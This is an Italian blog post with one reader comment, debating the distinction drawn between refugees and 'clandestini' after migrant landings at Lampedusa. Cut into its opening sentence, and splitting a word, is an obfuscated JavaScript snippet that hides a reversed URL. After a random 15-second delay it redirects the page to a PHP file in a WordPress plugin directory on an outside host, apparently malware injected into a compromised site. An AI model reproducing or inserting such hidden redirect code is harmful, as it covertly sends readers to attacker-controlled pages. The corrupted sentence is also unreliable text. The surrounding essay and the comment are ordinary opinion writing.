I buoni e i cattivi. La surreale distinzione tra profughi e "clandestini"

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Sì ai profughi, no ai cl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andestini. Ecco lo slogan di moda in questi giorni in cui le regioni sono chiamate ad “accogliere” le migliaia di persone sbarcate a Lampedusa dal Nord Africa. Da destra e da sinistra molti sindaci e amministratori locali ci tengono a ribadire che l’accoglienza è sacrosanta, ma solo per i profughi, mentre i clandestini devono essere espulsi. Ovviamente questa rozza semplificazione è ancora più popolare tra i membri del governo, che comodamente identificano i profughi nei libici e i “clandestini” nei tunisini. Anzi questi ultimi, soprattutto agli occhi dei leghisti, non sarebbero nemmeno poveri, perché forniti di cellulari ultimo modello e di scarpe firmate (sic!). Ulteriore elemento di sospetto, sono quasi tutti uomini giovani… pensate che strano, nessun vecchio malandato o donna magari incinta su quei barconi stipati all’inverosimile verso l’ignoto! Dev’esserci qualcosa sotto.

Ma cosa si intende realmente con profugo? Apriamo un dizionario a caso: profugo, persona costretta ad abbandonare il proprio paese per motivi politici o in seguito a disgrazie naturali. Profugo quindi è un termine assai generico, un ampio ombrello che copre molte categorie. La distinzione che viene fatta dai nostri politici probabilmente si riferisce ai rifugiati, quelli che avrebbero diritto all’asilo, cioè all’accettazione e protezione da parte del paese ospitante. Distinguere, adesso, nella massa degli sbarcati, chi ha diritto all’asilo e chi no, non è così semplice. Si può solo presumere che i tunisini non faranno richiesta di asilo, dato che molti di loro puntano alla Francia, dove spesso hanno parenti o altri contatti. Ma la Tunisia non è certo diventata automaticamente, dopo la “rivoluzione”, uno stato pienamente democratico dove sono riconosciuti tutti i diritti dell’individuo. Per fare solo un esempio, l’omosessualità era fino a ieri perseguita come un reato, è difficile credere che sia già tutto cambiato.

Quanto ai “clandestini”, contrapporli ai profughi in una impossibile divisione tra cattivi e buoni, la dice lunga sul potere delle parole. Il termine “clandestino” è diventato sinonimo di delinquente, di persona pericolosa, ingestibile e sgradita. Non importa quali siano i motivi che lo spingono a lasciare il proprio paese e i propri cari per rischiare la vita in una traversata via mare verso una terra sconosciuta. Non ha documenti in regola, perciò deve essere rinchiuso, identificato e respinto. O anche respinto e basta, come avvenuto più volte nei mesi scorsi con decine di persone nemmeno lasciate accostare, che forse erano profughi buoni e non cattivi clandestini…

Del resto, l’Italia non tratta molto meglio i profughi. I rifugiati somali di Roma, ad esempio, sebbene in possesso di regolare permesso di soggiorno per protezione internazionale, vivevano in condizioni disumane presso l’ex-ambasciata somala, un edificio fatiscente senza acqua, corrente o riscaldamento. Finché un mese fa, in seguito allo stupro probabilmente commesso da due di loro, sono stati tutti e 150 messi in mezzo alla strada dall’ex (?) fascista Alemanno.

E poi, un potenziale rifugiato chiuso in un “centro di accoglienza”, in cosa si distingue da un ipotetico “clandestino”? Forse non deve mangiare, bere, essere curato come il suo simile irregolare?
Buoni, cattivi, cattivelli, poveri o meno poveri… Comunque sia, le persone che arrivano oggi dal Nord Africa sono titolari di diritti umani inviolabili che niente, nemmeno l’emergenza, ci autorizza a calpestare.

C.S.

0 Comments

  1. Dario

    Eh sì è proprio una moda del momento. Giusto di questi giorni…ma forse, solo per chi non ha mai aperto un libro di diritto. Basta pensare alla convenzione di Ginevra del 51′, dedicata alla qualifica di rifugiato ( quella che, suppongo, coincida con quella di “profughi” nel linguaggio colloquiale) e quindi, a tutte le differenze (evanescenti? davvero?) che ci sono rispetto ai non rifugiati (clandestini, suppongo).

    Buoni, cattivi, poveri? No: rifugiati statuari, rifugiati convenzionali, apolidi ecc…
    Se queste categorie esistono in ogni paese del mondo ci sono dei motivi: esistono delle differenze e queste discriminazioni servono a tutelare le persone davvero in difficoltà e a mantenere un ordine. Casi uguali in maniera uguale, casi diversi in maniera diversa.
    Poi se davvero esiste qualcuno che pensa che tali differenze non dovrebbero sussistere è un altro conto. Ma una cosa è certa: la distinzione non è né surreale né evanescente. Per quando mi riguarda credo che tra un eritreo e un tunisino ci sia una gran bella differenza; il fatto che qualcuno dica il primo si il secondo no non è altro che il riflesso di quanto è stato messo per iscritto a Ginevra. E che poi i tunisini siano vestiti bene, siano tutti giovani e abbiano il cellulare all’ultimo modello denota ancora di più la differenza rispetto ai barconi di “profughi”che sbarcavano una volta (cerano molte donne, erano vestiti di stracci, non avevano cellulari da 300 euro). sic!
    Queste generalizzazioni ( sono tutti esseri umani bla bla bla) sono offensive verso chi soffre davvero e scappa per motivi ben diversi che andare dai parenti a Rennes perché in Tunisia non ci vuole più stare. Emigrare per scelta e emigrare per necessità (quindi fuggire) sono due cose ben diverse. E giusto per ricordarlo solo la seconda è sempre legale, la prima solo a volte.

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